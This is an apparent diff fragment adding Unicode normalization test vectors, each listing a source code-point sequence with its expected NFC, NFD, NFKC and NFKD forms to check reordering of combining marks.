+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11369, 0x0062], NFC: [0x00E0, 0x05AE, 0x11369, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11369, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11369, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11369, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11369, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11369, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1136A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1136A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1136A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1136A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1136A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1136A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1136A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1136B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1136B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1136B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1136B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1136B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1136B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1136B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1136C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1136C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1136C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1136C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1136C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1136C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1136C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11370, 0x0062], NFC: [0x00E0, 0x05AE, 0x11370, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11370, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11370, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11370, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11370, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11370, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11371, 0x0062], NFC: [0x00E0, 0x05AE, 0x11371, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11371, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11371, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11371, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11371, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11371, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11372, 0x0062], NFC: [0x00E0, 0x05AE, 0x11372, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11372, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11372, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11372, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11372, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11372, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11373, 0x0062], NFC: [0x00E0, 0x05AE, 0x11373, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11373, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11373, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11373, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11373, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11373, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x11374, 0x0062], NFC: [0x00E0, 0x05AE, 0x11374, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x11374, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x11374, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x11374, 0x0315, 0x0062] },
+{ source: [0x0061, 0x11374, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x11374, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11442, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11442, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11442, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11442, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x11446, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x11446, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x11446, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x11446, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x11446, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11446, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x11446, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x11446, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x11446, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x11446, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1145E, 0x0062], NFC: [0x00E0, 0x05AE, 0x1145E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1145E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1145E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1145E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1145E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1145E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1145E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1145E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1145E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x114C2, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x114C2, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x114C2, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x114C2, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x114C3, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x114C3, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x114C3, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x114C3, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x114C3, 0x3099, 0x0062] },
+{ source: [0x0061, 0x114C3, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x114C3, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x114C3, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x114C3, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x114C3, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x115BF, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x115BF, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x115BF, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x115BF, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x115C0, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x115C0, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x115C0, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x115C0, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x115C0, 0x3099, 0x0062] },
+{ source: [0x0061, 0x115C0, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x115C0, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x115C0, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x115C0, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x115C0, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1163F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1163F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1163F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1163F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x116B6, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x116B6, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x116B6, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x116B6, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x116B7, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x116B7, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x116B7, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x116B7, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x116B7, 0x3099, 0x0062] },
+{ source: [0x0061, 0x116B7, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x116B7, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x116B7, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x116B7, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x116B7, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1172B, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1172B, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11839, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11839, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11839, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11839, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11839, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11839, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11839, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11839, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11839, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11839, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x1183A, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x1183A, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x1183A, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x1183A, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x1183A, 0x3099, 0x0062] },
+{ source: [0x0061, 0x1183A, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x1183A, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x1183A, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x1183A, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x1183A, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1193D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1193D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1193D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1193D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1193D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1193D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1193D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1193D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1193D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1193D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1193E, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1193E, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1193E, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1193E, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1193E, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1193E, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1193E, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1193E, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1193E, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1193E, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x11943, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x11943, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x11943, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x11943, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x11943, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11943, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x11943, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x11943, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x11943, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x11943, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x119E0, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x119E0, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x119E0, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x119E0, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x119E0, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x119E0, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x119E0, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x119E0, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x119E0, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x119E0, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11A34, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11A34, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11A34, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11A34, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11A34, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11A34, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11A34, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11A34, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11A34, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11A34, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11A47, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11A47, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11A47, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11A47, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11A47, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11A47, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11A47, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11A47, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11A47, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11A47, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11A99, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11A99, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11A99, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11A99, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11A99, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11A99, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11A99, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11A99, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11A99, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11A99, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11C3F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11C3F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x11D42, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x11D42, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x11D42, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x11D42, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x11D42, 0x3099, 0x0062] },
+{ source: [0x0061, 0x11D42, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x11D42, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x11D42, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x11D42, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x11D42, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11D44, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11D44, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11D44, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11D44, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11D44, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11D44, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11D44, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11D44, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11D44, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11D44, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11D45, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11D45, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11D45, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11D45, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11D45, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11D45, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11D45, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11D45, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11D45, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11D45, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11D97, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11D97, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11D97, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11D97, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11D97, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11D97, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11D97, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11D97, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11D97, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11D97, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x16AF0, 0x0062], NFC: [0x0061, 0x0334, 0x16AF0, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x16AF0, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF0, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF0, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16AF0, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x16AF0, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x16AF0, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x16AF0, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x16AF0, 0x0334, 0x16FF0, 0x0062] },
